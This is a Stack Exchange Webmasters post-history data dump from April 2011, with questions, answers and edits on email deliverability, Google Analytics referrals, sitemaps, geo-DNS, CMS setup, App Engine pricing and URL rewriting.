  <row Id="28565" PostHistoryTypeId="2" PostId="12494" RevisionGUID="15f2376e-46e7-47f5-93a2-4b2fe0186aa0" CreationDate="2011-04-19T18:04:36.317" UserDisplayName="D Gauer" Text="&lt;a href=&quot;http://www.xequte.com/support/maillistking/spamissues.html&quot;&gt;This page&lt;/a&gt; has an excellent breakdown of the most common reasons your email is being flagged as spam:&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;&lt;li&gt;Avoid common Spam words and phrases&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Send individual messages to each recipient&lt;/li&gt;&#xD;&#xA;&lt;li&gt;If possible send via your ISP's mail server rather than using a local SMTP Server&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Stagger the delivery of your messages&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Minimize your use of attachments&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;Since the email is making it as far as the recipient, it's most likely the first, second, or last reason in this list." />
  <row Id="28566" PostHistoryTypeId="2" PostId="12493" RevisionGUID="28af52c7-71bc-482d-b964-97ede57e0331" CreationDate="2011-04-19T17:56:35.360" UserDisplayName="Chris Russell" Text="When I user completes a form the information is sent to a specific email address which varies (and is not always on the same host).&#xD;&#xA;&#xD;&#xA;The SMTP I am using is gmail which originates from my website host.&#xD;&#xA;&#xD;&#xA;I have also specified Reply-To (which is the users email address entered in the form).&#xD;&#xA;&#xD;&#xA;The problem is that the email is going straight into the SPAM folder.&#xD;&#xA;&#xD;&#xA;Does anyone know how to prevent this from happening?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28567" PostHistoryTypeId="1" PostId="12493" RevisionGUID="28af52c7-71bc-482d-b964-97ede57e0331" CreationDate="2011-04-19T17:56:35.360" UserDisplayName="Chris Russell" Text="How to keep an email out of a recipient's spam folder?" />
  <row Id="28568" PostHistoryTypeId="3" PostId="12493" RevisionGUID="28af52c7-71bc-482d-b964-97ede57e0331" CreationDate="2011-04-19T17:56:35.360" UserDisplayName="Chris Russell" Text="&lt;email&gt;&lt;spam&gt;" />
  <row Id="28569" PostHistoryTypeId="17" PostId="12493" RevisionGUID="dfddfca5-1463-4dcc-8941-bca336ecd1b2" CreationDate="2011-04-19T18:55:10.457" UserId="-1" Comment="from http://stackoverflow.com/questions/5720565/how-to-keep-an-email-out-of-a-recipients-spam-folder" Text="" />
  <row Id="28570" PostHistoryTypeId="5" PostId="12493" RevisionGUID="11f269f3-c21b-46e2-a17b-7dc2e98806ba" CreationDate="2011-04-19T19:05:05.270" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How could I prevent my mail from being recognized as spam?](http://webmasters.stackexchange.com/questions/3728/how-could-i-prevent-my-mail-from-being-recognized-as-spam)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;When I user completes a form the information is sent to a specific email address which varies (and is not always on the same host).&#xD;&#xA;&#xD;&#xA;The SMTP I am using is gmail which originates from my website host.&#xD;&#xA;&#xD;&#xA;I have also specified Reply-To (which is the users email address entered in the form).&#xD;&#xA;&#xD;&#xA;The problem is that the email is going straight into the SPAM folder.&#xD;&#xA;&#xD;&#xA;Does anyone know how to prevent this from happening?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28571" PostHistoryTypeId="10" PostId="12493" RevisionGUID="1351cc98-e513-4126-8eab-00731ff25a84" CreationDate="2011-04-19T19:05:04.897" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="28572" PostHistoryTypeId="2" PostId="12495" RevisionGUID="1220d41f-ddb3-4f70-b093-25ecf50a5e0f" CreationDate="2011-04-19T19:07:30.027" UserId="4595" Text="**Preface:** I'm taking a look at the Google Analytics we have for our product's website and we have a bunch of goals setup for each specific type of account we have on the website.&#xD;&#xA;&#xD;&#xA;**Question:** When looking at the Traffic Sources &gt; Referring Sites page, and then looking at it by Goals, it gives me a set of percentages for each goal by referring site. However, it seems like the only things that have conversions are our internal pages, our blog, and Google.&#xD;&#xA;&#xD;&#xA;I guess my question is: if a user shows up from another website, and then clicks around before signing up, will they be counted?" />
  <row Id="28573" PostHistoryTypeId="1" PostId="12495" RevisionGUID="1220d41f-ddb3-4f70-b093-25ecf50a5e0f" CreationDate="2011-04-19T19:07:30.027" UserId="4595" Text="Google Analytics - Referring Sites by Goal, is it accurate?" />
  <row Id="28574" PostHistoryTypeId="3" PostId="12495" RevisionGUID="1220d41f-ddb3-4f70-b093-25ecf50a5e0f" CreationDate="2011-04-19T19:07:30.027" UserId="4595" Text="&lt;google-analytics&gt;" />
  <row Id="28575" PostHistoryTypeId="2" PostId="12496" RevisionGUID="810a58dd-a5b4-45cb-b7b4-194b46af728b" CreationDate="2011-04-19T19:13:27.403" UserId="6389" Text="The quick answer is that there are companies that monitor websites, pindom being the most well know. for a single site many offer free services. I use http://mon.itor.us theyb have a really nice user interface.&#xD;&#xA;&#xD;&#xA;If your website is unresponsive there are many other more likely causes than connectivity issues of your hosting provider. Ideally you should see if they will give you the address of another site on the same node, if both sites are down then you have good cause to blame the host. If only your site is unresponsive then you will need to do your own trouble shooting assuming the VPS is unmanaged.&#xD;&#xA;&#xD;&#xA;It's likely that the uptime guarantee refers to network connectivity, normally this is tested by looking for a ping response from your server. Even if you can prove the server was unreachable from multiple locations and that it was the entire node not just your VPS it probably wont be worth it. A typical SLA might offer days service credit per hours down time. Your efforts will be better spent migrating to a more reliable host than &quot;getting&quot; your current one.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28576" PostHistoryTypeId="2" PostId="12497" RevisionGUID="6ab7bfea-f2c2-445d-8645-10d151cf87c3" CreationDate="2011-04-19T19:41:50.760" UserId="529" Text="If your main referring sites are internal pages, it means your Google Analytics is mis-implemented, and is leading to self-referrals. &#xD;&#xA;&#xD;&#xA;In other words, people are coming to your site from external pages, then at some point, likely due to a subdomain change without proper code to handle the change, they're being treated as a new visit, with a referral from an internal page. Then when they complete your goal, that session has a source that is your internal page. &#xD;&#xA;&#xD;&#xA;&gt; **Hypothetical Example**:&#xD;&#xA;&gt; &#xD;&#xA;&gt; Google Search&#xD;&#xA;&gt; &quot;Jon Lim's widgets&quot; That leads me to&#xD;&#xA;&gt; jonlimswidgets.com/buy-now. On this&#xD;&#xA;&gt; page, I'm a visitor referred by Google&#xD;&#xA;&gt; Search. &#xD;&#xA;&#xD;&#xA;&gt;I click a 'Buy Now' button,&#xD;&#xA;&gt; which takes me to&#xD;&#xA;&gt; secure.jonlimswidgets.com. But, if I&#xD;&#xA;&gt; didn't setup subdomain tracking in my&#xD;&#xA;&gt; tracking code, I've initiated a new&#xD;&#xA;&gt; visit, referred by jonlimswidgets.com.&#xD;&#xA;&gt;&#xD;&#xA;&gt; Then I buy your widget, trigger your&#xD;&#xA;&gt; goal, and the Referring Site for&#xD;&#xA;&gt; completing that goal is&#xD;&#xA;&gt; jonlimswidgets.com&#xD;&#xA;&#xD;&#xA;To prevent this from happening, you should read up on [Cross-Domain Tracking in Google Analytics][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/tracking/gaTrackingSite.html" />
  <row Id="28577" PostHistoryTypeId="2" PostId="12498" RevisionGUID="b7fcc202-8dd6-4b31-97e6-d5b5d60d2c7f" CreationDate="2011-04-19T19:58:32.873" UserId="6762" Text="I know Google's webmasters downloads a new version of my sitemaps every day. I am not sure if the yahoo / bing systems do the same thing. Google's says &quot;Downloaded&quot; and for the sitemaps that add the daily content they are downloaded on a daily basis. But the Last Submitted date on Yahoo site explorer is just the date of when I originally linked them into yahoo.&#xD;&#xA;&#xD;&#xA;There is nothing I see to suggest Yahoo is rechecking my submitted sitemaps, particularly since my page index count seems to go down. " />
  <row Id="28578" PostHistoryTypeId="1" PostId="12498" RevisionGUID="b7fcc202-8dd6-4b31-97e6-d5b5d60d2c7f" CreationDate="2011-04-19T19:58:32.873" UserId="6762" Text="Do I need to periodically re-submit my sitemaps to yahoo/bing?" />
  <row Id="28579" PostHistoryTypeId="3" PostId="12498" RevisionGUID="b7fcc202-8dd6-4b31-97e6-d5b5d60d2c7f" CreationDate="2011-04-19T19:58:32.873" UserId="6762" Text="&lt;seo&gt;&lt;sitemap&gt;" />
  <row Id="28580" PostHistoryTypeId="2" PostId="12499" RevisionGUID="9e96dc1d-fb4e-4032-b90e-09e65932345b" CreationDate="2011-04-19T20:02:18.987" UserId="6630" Text="I'm looking for a script which is like a poll with only two options.&#xD;&#xA;Users will be able to vote 2 options and there will be comments etc... for each poll.&#xD;&#xA;There should be also picture adding support for options." />
  <row Id="28581" PostHistoryTypeId="1" PostId="12499" RevisionGUID="9e96dc1d-fb4e-4032-b90e-09e65932345b" CreationDate="2011-04-19T20:02:18.987" UserId="6630" Text="Looking for a &quot;selection&quot; script...." />
  <row Id="28582" PostHistoryTypeId="3" PostId="12499" RevisionGUID="9e96dc1d-fb4e-4032-b90e-09e65932345b" CreationDate="2011-04-19T20:02:18.987" UserId="6630" Text="&lt;looking-for-a-script&gt;" />
  <row Id="28583" PostHistoryTypeId="2" PostId="12500" RevisionGUID="043670cd-4808-4fb7-8fab-c889c18d7860" CreationDate="2011-04-19T20:02:29.080" UserId="6850" Text="I apologise is the question isnt worded quite right or too simplistic in nature.  &#xD;&#xA;&#xD;&#xA;I am currently planning on building a new cms system that allows for user generated pages. &#xD;&#xA;similar to groups on facebook, most of the content to be provided directly by the user, i.e. news stories, pictures etc. &#xD;&#xA;&#xD;&#xA;It is important that each &quot;group&quot; is hosted under its own domain, &#xD;&#xA;Are there any tutorials anyone can point me to , to understand how to build this type of system or guide me to the correct concept behind this. &#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28584" PostHistoryTypeId="1" PostId="12500" RevisionGUID="043670cd-4808-4fb7-8fab-c889c18d7860" CreationDate="2011-04-19T20:02:29.080" UserId="6850" Text="Cms group system, unique domains" />
  <row Id="28585" PostHistoryTypeId="3" PostId="12500" RevisionGUID="043670cd-4808-4fb7-8fab-c889c18d7860" CreationDate="2011-04-19T20:02:29.080" UserId="6850" Text="&lt;cms&gt;&lt;top-level-domains&gt;" />
  <row Id="28586" PostHistoryTypeId="2" PostId="12501" RevisionGUID="1ddcdaf5-3bac-4d70-871c-7e483df2688f" CreationDate="2011-04-19T20:09:25.937" UserId="6389" Text="You can use a DNS server that returns the ip that is closest to the requesting ip.&#xD;&#xA;I have never used such a service but this post on serverfault discusses many providers&#xD;&#xA;http://serverfault.com/questions/30567/geo-dns-providers&#xD;&#xA; " />
  <row Id="28587" PostHistoryTypeId="2" PostId="12502" RevisionGUID="98134e0a-eaeb-47a0-b8dc-b8ce427780cb" CreationDate="2011-04-19T20:12:06.407" UserId="6901" Text="You might want to try the [buddypress plugin][1] for [wordpress][2]. Buddypress has a group feature, and if you also [enable wordpress multisite][3] while running buddypress each group will also have their own blog.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.buddypress.org/&#xD;&#xA;  [2]: http://www.wordpress.org/&#xD;&#xA;  [3]: http://codex.wordpress.org/Create_A_Network" />
  <row Id="28588" PostHistoryTypeId="2" PostId="12503" RevisionGUID="5833b172-ae86-4120-924f-4c873850cd60" CreationDate="2011-04-19T21:09:03.140" UserId="6968" Text="This article will answer your doubts and give insight in how search engines treat multilingual content: http://www.ninebyblue.com/blog/making-geotargeted-content-findable-for-the-right-searchers/ &#xD;&#xA;&#xD;&#xA;It was written by Vanessa Fox (ex-Google, created Google Webmaster Central), for me this has been of great help over the last months. " />
  <row Id="28589" PostHistoryTypeId="25" PostId="12500" RevisionGUID="b83c7d86-9834-434a-baba-e5a40d056c94" CreationDate="2011-04-19T21:09:18.163" Comment="http://twitter.com/#!/StackWebmasters/status/60449917524652032" />
  <row Id="28590" PostHistoryTypeId="2" PostId="12504" RevisionGUID="1c834bb2-8e33-46a8-b520-fa9d6d7b640e" CreationDate="2011-04-19T21:12:41.663" UserId="6389" Text="It's not possible&#xD;&#xA;&#xD;&#xA;I don't know cpanel well so below comments are generalised&#xD;&#xA; &#xD;&#xA;You have three separate applications interacting (or not interacting). Your control panel which will configure an imap server likely Dovecot or Courier. You then have a webmail app communicating with the server over IMAP, just as a desktop mail client would. The imap protocol does not have any provision to change passwords. There may be some webmail clients that have special integration with the mail server (mailenable pro V5 on a windows sevrer) or via special plugins (SquirrelMail ?) but in his case you will  have two applications both trying to configure the mail server, it's likely that when services are restarted the control panel would overwrite the passwords with it's own records. " />
  <row Id="28591" PostHistoryTypeId="5" PostId="12502" RevisionGUID="531ab764-e48e-414e-a089-05cf0b5aa95f" CreationDate="2011-04-19T21:28:52.260" UserId="6901" Comment="added 257 characters in body" Text="You might want to try the [buddypress plugin][1] for [wordpress][2]. Buddypress has a group feature, and if you also [enable wordpress multisite][3] while running buddypress each group will also have their own blog.&#xD;&#xA;&#xD;&#xA;UPDATE: this is more of a tutorial:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; 1. Download and install wordpress: http://www.wordpress.org/&#xD;&#xA; 2. Put WordPress in multisite mode: http://codex.wordpress.org/Create_A_Network&#xD;&#xA; 3. Download and install buddypress: http://www.buddypress.org/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.buddypress.org/&#xD;&#xA;  [2]: http://www.wordpress.org/&#xD;&#xA;  [3]: http://codex.wordpress.org/Create_A_Network" />
  <row Id="28592" PostHistoryTypeId="2" PostId="12505" RevisionGUID="e7bef28e-1ebb-4d8e-bccd-5cfcbd2f271a" CreationDate="2011-04-19T21:34:03.937" UserId="6389" Text="I would imagine you could do this legitimately by connecting to each addresses SMTP server and starting an SMTP session, going as far as giving the address the message was for but resetting and quitting the session before sending an data. assuming the responses until that point had been 250 OK you could assume the address was valid.&#xD;&#xA;&#xD;&#xA;the [wikipedia SMTP page][1] gives an example of an SMTP session, the test session would be the same up to the DATA command where you would send RSET then QUIT instead of feeding in an actual email.&#xD;&#xA;&#xD;&#xA;The problem would be that SPAM blacklists use &quot;honeypot&quot; addresses that an only be acquired by scraping websites. They assume that should you send one of those addresses a message you must be a spammer and may ad you to their blacklist. The above test would not filter these addresses there is no way you could.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol" />
  <row Id="28593" PostHistoryTypeId="5" PostId="12505" RevisionGUID="caec1cce-0f26-4495-a090-1daadee5a25f" CreationDate="2011-04-19T21:45:45.097" UserId="6389" Comment="added 240 characters in body" Text="I would imagine you could do this legitimately by connecting to each addresses SMTP server and starting an SMTP session, going as far as giving the address the message was for but resetting and quitting the session before sending an data. assuming the responses until that point had been 250 OK you could assume the address was valid.&#xD;&#xA;&#xD;&#xA;the [wikipedia SMTP page][1] gives an example of an SMTP session, the test session would be the same up to the DATA command where you would send RSET then QUIT instead of feeding in an actual email.&#xD;&#xA;&#xD;&#xA;The problem would be that SPAM blacklists use &quot;honeypot&quot; addresses that an only be acquired by scraping websites. They assume that should you send one of those addresses a message you must be a spammer and may ad you to their blacklist. The above test would not filter these addresses there is no way you could.&#xD;&#xA;&#xD;&#xA;UPDATE&#xD;&#xA;I looked at the link you gave after I wrote the above. I wasn't expecting them to give such a detailed account of their process. Step 5 will be as I have detailed above. The other steps seemed sensible. The pricing seemed fair. &#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol" />
  <row Id="28594" PostHistoryTypeId="5" PostId="12497" RevisionGUID="1b33bf4b-9991-4d5b-a4bf-dcc2fb9159bd" CreationDate="2011-04-19T21:47:02.800" UserId="529" Comment="added 95 characters in body" Text="If your main referring sites are internal pages, it means your Google Analytics is mis-implemented, and is leading to self-referrals. &#xD;&#xA;&#xD;&#xA;In other words, people are coming to your site from external pages, then at some point, likely due to a subdomain change without proper code to handle the change, they're being treated as a new visit, with a referral from an internal page. Then when they complete your goal, that session has a source that is your internal page. &#xD;&#xA;&#xD;&#xA;&gt; **Hypothetical Example**:&#xD;&#xA;&gt; &#xD;&#xA;&gt; Google Search&#xD;&#xA;&gt; &quot;Jon Lim's widgets&quot; That leads me to&#xD;&#xA;&gt; jonlimswidgets.com/buy-now. On this&#xD;&#xA;&gt; page, I'm a visitor referred by Google&#xD;&#xA;&gt; Search. &#xD;&#xA;&#xD;&#xA;&gt;I click a 'Buy Now' button,&#xD;&#xA;&gt; which takes me to&#xD;&#xA;&gt; secure.jonlimswidgets.com. But, if I&#xD;&#xA;&gt; didn't setup subdomain tracking in my&#xD;&#xA;&gt; tracking code, I've initiated a new&#xD;&#xA;&gt; visit, referred by jonlimswidgets.com.&#xD;&#xA;&gt;&#xD;&#xA;&gt; Then I buy your widget, trigger your&#xD;&#xA;&gt; goal, and the Referring Site for&#xD;&#xA;&gt; completing that goal is&#xD;&#xA;&gt; jonlimswidgets.com&#xD;&#xA;&#xD;&#xA;There are other things that could cause self-referrals, but this is the most common cause. &#xD;&#xA;&#xD;&#xA;To prevent this from happening, you should read up on [Cross-Domain Tracking in Google Analytics][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/tracking/gaTrackingSite.html" />
  <row Id="28595" PostHistoryTypeId="2" PostId="12506" RevisionGUID="147555b2-ef9a-4145-970e-4170585d7607" CreationDate="2011-04-19T22:46:14.193" UserId="-1" Text="" />
  <row Id="28596" PostHistoryTypeId="2" PostId="12507" RevisionGUID="8eaccaca-e582-4895-88cd-d0c45d7fd766" CreationDate="2011-04-19T22:46:14.193" UserId="-1" Text="" />
  <row Id="28597" PostHistoryTypeId="2" PostId="12508" RevisionGUID="50c91760-62cb-4b60-ad43-23fb51fb37c1" CreationDate="2011-04-19T22:49:15.500" UserId="-1" Text="" />
  <row Id="28598" PostHistoryTypeId="2" PostId="12509" RevisionGUID="56974b17-8b0b-4663-820e-614f60136c7e" CreationDate="2011-04-19T22:49:15.500" UserId="-1" Text="" />
  <row Id="28599" PostHistoryTypeId="2" PostId="12510" RevisionGUID="9db1f801-1d11-40a9-ba02-2bf43d26ff52" CreationDate="2011-04-19T22:50:11.177" UserId="-1" Text="" />
  <row Id="28600" PostHistoryTypeId="2" PostId="12511" RevisionGUID="c6c32bb3-1aa3-4ade-a4e1-2f1401a45c2a" CreationDate="2011-04-19T22:50:11.177" UserId="-1" Text="" />
  <row Id="28601" PostHistoryTypeId="2" PostId="12512" RevisionGUID="8c46a7c0-29aa-42c3-9401-9a927189eee4" CreationDate="2011-04-19T22:51:22.983" UserId="-1" Text="" />
  <row Id="28602" PostHistoryTypeId="2" PostId="12513" RevisionGUID="3298b51f-82ad-4a95-9087-e68c96c5c494" CreationDate="2011-04-19T22:51:22.983" UserId="-1" Text="" />
  <row Id="28603" PostHistoryTypeId="2" PostId="12514" RevisionGUID="f799a02b-2a8a-42e1-9ae1-b351c9477a10" CreationDate="2011-04-19T22:52:02.483" UserId="-1" Text="" />
  <row Id="28604" PostHistoryTypeId="2" PostId="12515" RevisionGUID="770c2913-1dfb-4037-bcca-31ee24923b3e" CreationDate="2011-04-19T22:52:02.483" UserId="-1" Text="" />
  <row Id="28605" PostHistoryTypeId="2" PostId="12516" RevisionGUID="23c74fc6-9fd7-4b55-a4f4-b30b1a865a16" CreationDate="2011-04-19T22:52:38.770" UserId="-1" Text="" />
  <row Id="28606" PostHistoryTypeId="2" PostId="12517" RevisionGUID="1c575381-f34f-4f54-b3a4-afc8eb63eed5" CreationDate="2011-04-19T22:52:38.770" UserId="-1" Text="" />
  <row Id="28607" PostHistoryTypeId="2" PostId="12518" RevisionGUID="54d57d73-5d5e-4e67-af11-08207f1bee23" CreationDate="2011-04-19T22:52:44.917" UserId="6467" Text="I would investigate multiple A records in the DNS. It appears that may do what you want. It is worth researching. " />
  <row Id="28608" PostHistoryTypeId="2" PostId="12519" RevisionGUID="48572853-654d-4e08-b82e-611959238da7" CreationDate="2011-04-19T22:53:32.670" UserId="-1" Text="" />
  <row Id="28609" PostHistoryTypeId="2" PostId="12520" RevisionGUID="b29f445f-2533-482b-abe9-0c6b5ee48f96" CreationDate="2011-04-19T22:53:32.670" UserId="-1" Text="" />
  <row Id="28610" PostHistoryTypeId="2" PostId="12521" RevisionGUID="d4211f70-0908-4dd6-92d6-f7803f7b709b" CreationDate="2011-04-19T22:54:16.927" UserId="-1" Text="" />
  <row Id="28611" PostHistoryTypeId="2" PostId="12522" RevisionGUID="b74baf03-8cfd-4d88-9717-f0a870ed406a" CreationDate="2011-04-19T22:54:16.927" UserId="-1" Text="" />
  <row Id="28612" PostHistoryTypeId="2" PostId="12523" RevisionGUID="beb7a344-8f19-49c0-8535-b64c80607bbb" CreationDate="2011-04-19T22:55:30.203" UserId="-1" Text="" />
  <row Id="28613" PostHistoryTypeId="2" PostId="12524" RevisionGUID="9dde0de2-7ec2-4e75-a6b7-0bdd98d46384" CreationDate="2011-04-19T22:55:30.203" UserId="-1" Text="" />
  <row Id="28614" PostHistoryTypeId="2" PostId="12525" RevisionGUID="c5cb195a-2426-4d1b-aa90-bba5d1052d1e" CreationDate="2011-04-19T22:56:24.787" UserId="-1" Text="" />
  <row Id="28615" PostHistoryTypeId="2" PostId="12526" RevisionGUID="1cf0ef75-a9b3-45d2-be97-0f0a1d6d9605" CreationDate="2011-04-19T22:56:24.787" UserId="-1" Text="" />
  <row Id="28616" PostHistoryTypeId="2" PostId="12527" RevisionGUID="57827701-8914-4b67-b42d-26c276367789" CreationDate="2011-04-19T22:57:29.497" UserId="-1" Text="" />
  <row Id="28617" PostHistoryTypeId="2" PostId="12528" RevisionGUID="4f5fb9f0-0bf4-499a-a18f-d561215bec08" CreationDate="2011-04-19T22:57:29.497" UserId="-1" Text="" />
  <row Id="28618" PostHistoryTypeId="2" PostId="12529" RevisionGUID="8a2af2a6-d606-4ed7-aa91-e1ae5074f6d3" CreationDate="2011-04-19T22:58:00.433" UserId="-1" Text="" />
  <row Id="28619" PostHistoryTypeId="2" PostId="12530" RevisionGUID="005a2bcd-3e90-4618-8608-b287ffc6067a" CreationDate="2011-04-19T22:58:00.433" UserId="-1" Text="" />
  <row Id="28620" PostHistoryTypeId="2" PostId="12531" RevisionGUID="3e6f2f44-1709-41ee-bc2a-4765f0f2316f" CreationDate="2011-04-19T22:58:35.160" UserId="-1" Text="" />
  <row Id="28621" PostHistoryTypeId="2" PostId="12532" RevisionGUID="148d638a-7b3c-42d1-ae5f-69ec6acf9e29" CreationDate="2011-04-19T22:58:35.160" UserId="-1" Text="" />
  <row Id="28622" PostHistoryTypeId="2" PostId="12533" RevisionGUID="12610002-4db2-41d8-87e4-038f0a8b4b1c" CreationDate="2011-04-19T22:59:12.617" UserId="-1" Text="" />
  <row Id="28623" PostHistoryTypeId="2" PostId="12534" RevisionGUID="f5da154c-1faa-473f-9b29-de3455b3d485" CreationDate="2011-04-19T22:59:12.617" UserId="-1" Text="" />
  <row Id="28624" PostHistoryTypeId="2" PostId="12535" RevisionGUID="05f137a7-32ca-42fe-b476-0d9d1484f326" CreationDate="2011-04-19T22:59:41.757" UserId="-1" Text="" />
  <row Id="28625" PostHistoryTypeId="2" PostId="12536" RevisionGUID="d4ad1580-ac25-4830-b906-41a9425cb141" CreationDate="2011-04-19T22:59:41.757" UserId="-1" Text="" />
  <row Id="28626" PostHistoryTypeId="2" PostId="12537" RevisionGUID="1a4494bd-74a6-4a47-9bd7-b8e49ecb33a8" CreationDate="2011-04-19T23:00:13.927" UserId="-1" Text="" />
  <row Id="28627" PostHistoryTypeId="2" PostId="12538" RevisionGUID="19f0681e-cf6f-4c37-88c4-fa474a6aeee3" CreationDate="2011-04-19T23:00:13.927" UserId="-1" Text="" />
  <row Id="28628" PostHistoryTypeId="2" PostId="12539" RevisionGUID="1e22e262-7652-4be1-829c-a7edf8a9e715" CreationDate="2011-04-19T23:00:48.200" UserId="-1" Text="" />
  <row Id="28629" PostHistoryTypeId="2" PostId="12540" RevisionGUID="70ba1a5c-8530-4b22-858a-d38adef3ec68" CreationDate="2011-04-19T23:00:48.200" UserId="-1" Text="" />
  <row Id="28630" PostHistoryTypeId="2" PostId="12541" RevisionGUID="02e04ea6-f065-43ed-aa0b-b04cb0937efd" CreationDate="2011-04-19T23:03:43.907" UserId="5809" Text="I read somewhere that for small applications, Google App Engine is free. Now when I read their docs, it seems that even for small applications, it isn't free.&#xD;&#xA;&#xD;&#xA;I just wanted to check here - is it free if the application is under some size?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="28631" PostHistoryTypeId="1" PostId="12541" RevisionGUID="02e04ea6-f065-43ed-aa0b-b04cb0937efd" CreationDate="2011-04-19T23:03:43.907" UserId="5809" Text="Is google-app-engine free for small applications?" />
  <row Id="28632" PostHistoryTypeId="3" PostId="12541" RevisionGUID="02e04ea6-f065-43ed-aa0b-b04cb0937efd" CreationDate="2011-04-19T23:03:43.907" UserId="5809" Text="&lt;web-hosting&gt;&lt;google-app-engine&gt;" />
  <row Id="28633" PostHistoryTypeId="2" PostId="12542" RevisionGUID="299f5a23-39a3-4c40-8563-e3a8ccb4efe3" CreationDate="2011-04-19T23:07:23.743" UserId="4502" Text="&quot;&lt;a href=&quot;http://code.google.com/appengine/docs/whatisgoogleappengine.html&quot;&gt;App Engine costs nothing to get started&lt;/a&gt;. All applications can use up to 500 MB of storage and enough CPU and bandwidth to support an efficient app serving around 5 million page views a month, absolutely free. When you enable billing for your application, your free limits are raised, and you only pay for resources you use above the free levels.&quot;" />
  <row Id="28640" PostHistoryTypeId="5" PostId="12437" RevisionGUID="efc94dd4-1e56-4de6-a0d9-39b3e66dc35a" CreationDate="2011-04-20T00:03:36.887" UserId="3171" Comment="couple of more suggestions about Rewrite" Text="Strange - I used to host on 1&amp;1, and never had a problem with rewrites... but it doesn't sound like their support are being particular helpful.&#xD;&#xA;&#xD;&#xA;First off - get them to confirm that mod_rewrite is enabled (the reason /internships may be working is because they enable mod_negotiation which looks for a best match if it doesn't find the correct one - so mod_negotiation is loading internships.php and not mod_rewrite).&#xD;&#xA;&#xD;&#xA;A really quick check is if you access the site as www.mysite.com - do you get redirected to mysite.com? That should confirm it either way.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;One thing though - can you make it clearer if mysite.com/internships/photography is directing you to internships or to a 404?&#xD;&#xA;&#xD;&#xA;Update:&#xD;&#xA;&#xD;&#xA;I never set the RewriteBase - I recommend disabling that, and placing a leading / in front of your RewriteRule patterns... maybe even try without the ^ &#xD;&#xA;&#xD;&#xA;Also, I suggest escaping the - and _ in your patterns: ([A-Za-z0-9\_\-]+)&#xD;&#xA;" />
  <row Id="28641" PostHistoryTypeId="25" PostId="12541" RevisionGUID="426afce6-2108-4caf-855d-6aed640f9dc9" CreationDate="2011-04-20T00:09:17.897" Comment="http://twitter.com/#!/StackWebmasters/status/60495215202537472" />
  <row Id="28642" PostHistoryTypeId="5" PostId="12483" RevisionGUID="df1be00a-e0ea-4df9-a100-e924831cb4db" CreationDate="2011-04-20T01:36:19.227" UserId="4786" Comment="removed signature" Text="A client has provided us with an excel spreadsheet of around 10,000 email addresses, names and addresses. They were taken from a CRM used previously. &#xD;&#xA;&#xD;&#xA;I've been asked to &quot;clean&quot; up this database - such as check for invalid addresses - (email format, existing mailboxes etc).&#xD;&#xA;&#xD;&#xA;I've done a bit of Googling and came up with a few &quot;Email List Cleaning Services&quot;. Here is [one such company][1].&#xD;&#xA;&#xD;&#xA;Now my question is - does anyone have any experience with this kind of service, and is it a legitimate service?&#xD;&#xA;&#xD;&#xA;Alternatively, what are my options for &quot;cleaning&quot; this list?&#xD;&#xA;&#xD;&#xA;I ask as MailChimp, our preferred email marketing tool, will terminate account access if a certain percentage of emails bounce, (and I imagine similar e-shot services operate on the same basis), to comply with anti-spam regulations etc.&#xD;&#xA;&#xD;&#xA;This is a legitimate cause, although it may sound quite the contrary.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.bocanetworks.com/main/em/List_Cleaning_Email_List_Validation.aspx" />
  <row Id="28643" PostHistoryTypeId="24" PostId="12483" RevisionGUID="df1be00a-e0ea-4df9-a100-e924831cb4db" CreationDate="2011-04-20T01:36:19.227" Comment="Proposed by 4786 approved by 1064 edit id of 149" />
  <row Id="28644" PostHistoryTypeId="5" PostId="8165" RevisionGUID="eddbf69f-b9b9-41ff-b3c3-c63df71a91f1" CreationDate="2011-04-20T01:36:41.940" UserId="4786" Comment="removed greeting and signature per FAQ" Text="I've run our client's site through a WCAG 2.0 validator which has returned 415 tasks that need to be worked through in order to get it WCAG 2.0 compliant.&#xD;&#xA;&#xD;&#xA;For the most part, I can get a rough estimation of how long a task will take but there are tasks I have never had to do before which I am not sure how to cost.&#xD;&#xA;&#xD;&#xA;I would like to know if someone has a rough guide on what to cost a client to convert their site to a compliant WCAG 2.0 (AA) site." />
  <row Id="28645" PostHistoryTypeId="24" PostId="8165" RevisionGUID="eddbf69f-b9b9-41ff-b3c3-c63df71a91f1" CreationDate="2011-04-20T01:36:41.940" Comment="Proposed by 4786 approved by 1064 edit id of 137" />
